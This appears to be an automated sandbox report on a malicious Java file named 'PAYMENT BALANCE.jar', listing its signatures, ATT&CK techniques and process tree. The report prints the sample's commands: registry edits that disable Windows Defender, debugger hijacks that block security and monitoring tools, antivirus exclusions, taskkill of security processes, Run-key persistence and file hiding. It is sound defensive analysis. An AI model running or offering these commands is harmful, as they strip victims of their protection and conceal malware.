4b3f7e36e864c21af17bb9a7d0bfecbbbdb0a5fb7b36fa1e86dbb28e159eae04

Analysis

max time kernel
149s
max time network
150s
platform
windows10_x64
resource
win10
submitted
31-07-2020 11:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

PAYMENT BALANCE.jar
Size

399KB
MD5

a130fcf39bda045ad6ae50b94e72459c
SHA1

c89b5d7ec693ba7dafb6836dc38912f90719754f
SHA256

4b3f7e36e864c21af17bb9a7d0bfecbbbdb0a5fb7b36fa1e86dbb28e159eae04
SHA512

afe747cb6c73d08c0dca8d4841ec9af10062afb29ccd291e5437313bc6baadb1b047e18122b2689918ba47daeae77237a0eafc92c18262d32ddac5aa21b08f0c

Score

10^/10

evasion trojan persistence discovery

Malware Config

Signatures

Loads dropped DLL 1 IoCs

Processes:

java.exe

pid process

3612 java.exe
Sets file execution options in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112
Views/modifies file attributes 1 TTPs 8 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exe

pid process

2696 attrib.exe
2856 attrib.exe
3432 attrib.exe
2588 attrib.exe
1784 attrib.exe
1624 attrib.exe
3128 attrib.exe
2464 attrib.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

java.exe

pid process

3612 java.exe

pid	process
3612	java.exe

pid	process
2696	attrib.exe
2856	attrib.exe
3432	attrib.exe
2588	attrib.exe
1784	attrib.exe
1624	attrib.exe
3128	attrib.exe
2464	attrib.exe

pid	process
3612	java.exe

Suspicious use of WriteProcessMemory 382 IoCs

Processes:

java.execmd.execmd.execmd.exe

description	pid	process	target process
PID 3612 wrote to memory of 808	3612	java.exe	cmd.exe
PID 3612 wrote to memory of 808	3612	java.exe	cmd.exe
PID 3612 wrote to memory of 352	3612	java.exe	cmd.exe
PID 3612 wrote to memory of 352	3612	java.exe	cmd.exe
PID 352 wrote to memory of 1088	352	cmd.exe	WMIC.exe
PID 352 wrote to memory of 1088	352	cmd.exe	WMIC.exe
PID 3612 wrote to memory of 1280	3612	java.exe	cmd.exe
PID 3612 wrote to memory of 1280	3612	java.exe	cmd.exe
PID 1280 wrote to memory of 1464	1280	cmd.exe	WMIC.exe
PID 1280 wrote to memory of 1464	1280	cmd.exe	WMIC.exe
PID 3612 wrote to memory of 1784	3612	java.exe	attrib.exe
PID 3612 wrote to memory of 1784	3612	java.exe	attrib.exe
PID 3612 wrote to memory of 1624	3612	java.exe	attrib.exe
PID 3612 wrote to memory of 1624	3612	java.exe	attrib.exe
PID 3612 wrote to memory of 3128	3612	java.exe	attrib.exe
PID 3612 wrote to memory of 3128	3612	java.exe	attrib.exe
PID 3612 wrote to memory of 2464	3612	java.exe	attrib.exe
PID 3612 wrote to memory of 2464	3612	java.exe	attrib.exe
PID 3612 wrote to memory of 2696	3612	java.exe	attrib.exe
PID 3612 wrote to memory of 2696	3612	java.exe	attrib.exe
PID 3612 wrote to memory of 2856	3612	java.exe	attrib.exe
PID 3612 wrote to memory of 2856	3612	java.exe	attrib.exe
PID 3612 wrote to memory of 3432	3612	java.exe	attrib.exe
PID 3612 wrote to memory of 3432	3612	java.exe	attrib.exe
PID 3612 wrote to memory of 2588	3612	java.exe	attrib.exe
PID 3612 wrote to memory of 2588	3612	java.exe	attrib.exe
PID 3612 wrote to memory of 3840	3612	java.exe	cmd.exe
PID 3612 wrote to memory of 3840	3612	java.exe	cmd.exe
PID 3612 wrote to memory of 3344	3612	java.exe	reg.exe
PID 3612 wrote to memory of 3344	3612	java.exe	reg.exe
PID 3612 wrote to memory of 688	3612	java.exe	taskkill.exe
PID 3612 wrote to memory of 688	3612	java.exe	taskkill.exe
PID 3612 wrote to memory of 2916	3612	java.exe	powershell.exe
PID 3612 wrote to memory of 2916	3612	java.exe	powershell.exe
PID 3612 wrote to memory of 408	3612	java.exe	reg.exe
PID 3612 wrote to memory of 408	3612	java.exe	reg.exe
PID 3612 wrote to memory of 496	3612	java.exe	reg.exe
PID 3612 wrote to memory of 496	3612	java.exe	reg.exe
PID 3612 wrote to memory of 1268	3612	java.exe	reg.exe
PID 3612 wrote to memory of 1268	3612	java.exe	reg.exe
PID 3612 wrote to memory of 1272	3612	java.exe	reg.exe
PID 3612 wrote to memory of 1272	3612	java.exe	reg.exe
PID 3612 wrote to memory of 1920	3612	java.exe	reg.exe
PID 3612 wrote to memory of 1920	3612	java.exe	reg.exe
PID 3612 wrote to memory of 3036	3612	java.exe	reg.exe
PID 3612 wrote to memory of 3036	3612	java.exe	reg.exe
PID 3612 wrote to memory of 1624	3612	java.exe	reg.exe
PID 3612 wrote to memory of 1624	3612	java.exe	reg.exe
PID 3612 wrote to memory of 3004	3612	java.exe	reg.exe
PID 3612 wrote to memory of 3004	3612	java.exe	reg.exe
PID 3612 wrote to memory of 1436	3612	java.exe	reg.exe
PID 3612 wrote to memory of 1436	3612	java.exe	reg.exe
PID 3612 wrote to memory of 2576	3612	java.exe	reg.exe
PID 3612 wrote to memory of 2576	3612	java.exe	reg.exe
PID 3840 wrote to memory of 2296	3840	cmd.exe	reg.exe
PID 3840 wrote to memory of 2296	3840	cmd.exe	reg.exe
PID 3612 wrote to memory of 3268	3612	java.exe	reg.exe
PID 3612 wrote to memory of 3268	3612	java.exe	reg.exe
PID 3612 wrote to memory of 1720	3612	java.exe	reg.exe
PID 3612 wrote to memory of 1720	3612	java.exe	reg.exe
PID 3612 wrote to memory of 2124	3612	java.exe	reg.exe
PID 3612 wrote to memory of 2124	3612	java.exe	reg.exe
PID 3612 wrote to memory of 488	3612	java.exe	reg.exe
PID 3612 wrote to memory of 488	3612	java.exe	reg.exe

Suspicious use of AdjustPrivilegeToken 122 IoCs

Processes:

WMIC.exeWMIC.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1088	WMIC.exe
Token: SeSecurityPrivilege	1088	WMIC.exe
Token: SeTakeOwnershipPrivilege	1088	WMIC.exe
Token: SeLoadDriverPrivilege	1088	WMIC.exe
Token: SeSystemProfilePrivilege	1088	WMIC.exe
Token: SeSystemtimePrivilege	1088	WMIC.exe
Token: SeProfSingleProcessPrivilege	1088	WMIC.exe
Token: SeIncBasePriorityPrivilege	1088	WMIC.exe
Token: SeCreatePagefilePrivilege	1088	WMIC.exe
Token: SeBackupPrivilege	1088	WMIC.exe
Token: SeRestorePrivilege	1088	WMIC.exe
Token: SeShutdownPrivilege	1088	WMIC.exe
Token: SeDebugPrivilege	1088	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1088	WMIC.exe
Token: SeRemoteShutdownPrivilege	1088	WMIC.exe
Token: SeUndockPrivilege	1088	WMIC.exe
Token: SeManageVolumePrivilege	1088	WMIC.exe
Token: 33	1088	WMIC.exe
Token: 34	1088	WMIC.exe
Token: 35	1088	WMIC.exe
Token: 36	1088	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1088	WMIC.exe
Token: SeSecurityPrivilege	1088	WMIC.exe
Token: SeTakeOwnershipPrivilege	1088	WMIC.exe
Token: SeLoadDriverPrivilege	1088	WMIC.exe
Token: SeSystemProfilePrivilege	1088	WMIC.exe
Token: SeSystemtimePrivilege	1088	WMIC.exe
Token: SeProfSingleProcessPrivilege	1088	WMIC.exe
Token: SeIncBasePriorityPrivilege	1088	WMIC.exe
Token: SeCreatePagefilePrivilege	1088	WMIC.exe
Token: SeBackupPrivilege	1088	WMIC.exe
Token: SeRestorePrivilege	1088	WMIC.exe
Token: SeShutdownPrivilege	1088	WMIC.exe
Token: SeDebugPrivilege	1088	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1088	WMIC.exe
Token: SeRemoteShutdownPrivilege	1088	WMIC.exe
Token: SeUndockPrivilege	1088	WMIC.exe
Token: SeManageVolumePrivilege	1088	WMIC.exe
Token: 33	1088	WMIC.exe
Token: 34	1088	WMIC.exe
Token: 35	1088	WMIC.exe
Token: 36	1088	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1464	WMIC.exe
Token: SeSecurityPrivilege	1464	WMIC.exe
Token: SeTakeOwnershipPrivilege	1464	WMIC.exe
Token: SeLoadDriverPrivilege	1464	WMIC.exe
Token: SeSystemProfilePrivilege	1464	WMIC.exe
Token: SeSystemtimePrivilege	1464	WMIC.exe
Token: SeProfSingleProcessPrivilege	1464	WMIC.exe
Token: SeIncBasePriorityPrivilege	1464	WMIC.exe
Token: SeCreatePagefilePrivilege	1464	WMIC.exe
Token: SeBackupPrivilege	1464	WMIC.exe
Token: SeRestorePrivilege	1464	WMIC.exe
Token: SeShutdownPrivilege	1464	WMIC.exe
Token: SeDebugPrivilege	1464	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1464	WMIC.exe
Token: SeRemoteShutdownPrivilege	1464	WMIC.exe
Token: SeUndockPrivilege	1464	WMIC.exe
Token: SeManageVolumePrivilege	1464	WMIC.exe
Token: 33	1464	WMIC.exe
Token: 34	1464	WMIC.exe
Token: 35	1464	WMIC.exe
Token: 36	1464	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1464	WMIC.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Drops file in System32 directory 2 IoCs

Processes:

java.exe

description ioc process

File created C:\Windows\System32\cUEBV java.exe
File opened for modification C:\Windows\System32\cUEBV java.exe

description	ioc	process
File created	C:\Windows\System32\cUEBV	java.exe
File opened for modification	C:\Windows\System32\cUEBV	java.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

java.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	java.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\DsGIILk = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\FVKwo\\WbZqr.class\""	java.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run	java.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\DsGIILk = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\FVKwo\\WbZqr.class\""	java.exe

Drops desktop.ini file(s) 4 IoCs

Processes:

java.exeattrib.exeattrib.exe

description	ioc	process
File opened for modification	C:\Users\Admin\FVKwo\Desktop.ini	java.exe
File created	C:\Users\Admin\FVKwo\Desktop.ini	java.exe
File opened for modification	C:\Users\Admin\FVKwo\Desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\FVKwo\Desktop.ini	attrib.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

2916 powershell.exe
2916 powershell.exe
2916 powershell.exe

pid	process
2916	powershell.exe
2916	powershell.exe
2916	powershell.exe

Kills process with taskkill 16 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
2592	taskkill.exe
4788	taskkill.exe
5020	taskkill.exe
1628	taskkill.exe
664	taskkill.exe
2084	taskkill.exe
740	taskkill.exe
4940	taskkill.exe
5116	taskkill.exe
3760	taskkill.exe
504	taskkill.exe
3540	taskkill.exe
964	taskkill.exe
3496	taskkill.exe
688	taskkill.exe
3036	taskkill.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\PAYMENT BALANCE.jar"
1⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Adds Run key to start application
- Drops desktop.ini file(s)
PID:3612

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:808

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:352

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1088

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:1280

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /Format:List
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1464

C:\Windows\SYSTEM32\attrib.exe
attrib +h C:\Users\Admin\Oracle
2⤵
- Views/modifies file attributes
PID:1784

C:\Windows\SYSTEM32\attrib.exe
attrib +h +r +s C:\Users\Admin\.ntusernt.ini
2⤵
- Views/modifies file attributes
PID:1624

C:\Windows\SYSTEM32\attrib.exe
attrib -s -r C:\Users\Admin\FVKwo\Desktop.ini
2⤵
- Views/modifies file attributes
- Drops desktop.ini file(s)
PID:3128

C:\Windows\SYSTEM32\attrib.exe
attrib +s +r C:\Users\Admin\FVKwo\Desktop.ini
2⤵
- Views/modifies file attributes
- Drops desktop.ini file(s)
PID:2464

C:\Windows\SYSTEM32\attrib.exe
attrib -s -r C:\Users\Admin\FVKwo
2⤵
- Views/modifies file attributes
PID:2696

C:\Windows\SYSTEM32\attrib.exe
attrib +s +r C:\Users\Admin\FVKwo
2⤵
- Views/modifies file attributes
PID:2856

C:\Windows\SYSTEM32\attrib.exe
attrib +h C:\Users\Admin\FVKwo
2⤵
- Views/modifies file attributes
PID:3432

C:\Windows\SYSTEM32\attrib.exe
attrib +h +s +r C:\Users\Admin\FVKwo\WbZqr.class
2⤵
- Views/modifies file attributes
PID:2588

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:3840

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:64
3⤵
PID:2296

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:32
3⤵
PID:996

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "ProcessHacker.exe" /T /F
2⤵
- Kills process with taskkill
PID:688

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
2⤵
PID:3344

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\FVKwo','C:\Users\Admin\AppData\Local\Temp\','C:\Users\Admin\jitsib64.dll','C:\Users\Admin\FVKwo\lib\bridj-0.7.0.jar','C:\Users\Admin\Google Chrome' -ExclusionExtension 'jar','exe','dll','txt','hta','vbs','jpg','jpeg','png','js','doc','docx','pdf','scr' -ExclusionProcess 'java.exe','javaw.exe','reg.exe','regedit.exe','tasklist.exe','netstat.exe','cmd.exe','netsh.exe','taskkill.exe'"
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2916

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
2⤵
PID:408

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:496

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1268

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
2⤵
PID:1272

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
2⤵
PID:1920

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:3036

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1624

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:3004

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1436

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:2576

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:3268

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1720

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:2124

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:488

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:3220

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:352

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:2632

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MSASCuiL.exe" /T /F
2⤵
- Kills process with taskkill
PID:3036

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:644

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:2588

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2816

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall\OneDriveSetup.exe" /reg:64
3⤵
PID:3092

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall\OneDriveSetup.exe" /reg:32
3⤵
PID:800

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1004

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:64
3⤵
PID:3684

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:32
3⤵
PID:1736

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:732

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:64
3⤵
PID:3756

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:32
3⤵
PID:3468

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2968

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:64
3⤵
PID:3908

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:32
3⤵
PID:3012

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2804

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:64
3⤵
PID:644

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:32
3⤵
PID:3268

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1624

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:64
3⤵
PID:1716

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:32
3⤵
PID:3036

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1432

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:64
3⤵
PID:688

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:32
3⤵
PID:896

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MSASCui.exe" /T /F
2⤵
- Kills process with taskkill
PID:3540

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3328

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:64
3⤵
PID:2708

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:32
3⤵
PID:2112

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1268

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:64
3⤵
PID:3816

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:32
3⤵
PID:968

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1928

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:64
3⤵
PID:1732

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:32
3⤵
PID:4048

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1228

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:64
3⤵
PID:2704

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:32
3⤵
PID:496

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3504

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:64
3⤵
PID:2292

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:32
3⤵
PID:348

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:572

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:64
3⤵
PID:2072

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:32
3⤵
PID:1736

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MsMpEng.exe" /T /F
2⤵
- Kills process with taskkill
PID:2084

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:848

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:64
3⤵
PID:496

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:32
3⤵
PID:1264

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2800

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:64
3⤵
PID:3816

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:32
3⤵
PID:1732

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:492

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:64
3⤵
PID:2084

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:32
3⤵
PID:1220

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:496

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\ProPlusRetail - en-us" /reg:64
3⤵
PID:3756

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\ProPlusRetail - en-us" /reg:32
3⤵
PID:1732

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1672

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:64
3⤵
PID:1264

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:32
3⤵
PID:760

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:580

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:64
3⤵
PID:1264

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:32
3⤵
PID:896

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:968

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:64
3⤵
PID:4128

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:32
3⤵
PID:4168

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MpUXSrv.exe" /T /F
2⤵
- Kills process with taskkill
PID:964

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4192

C:\Windows\system32\reg.exe
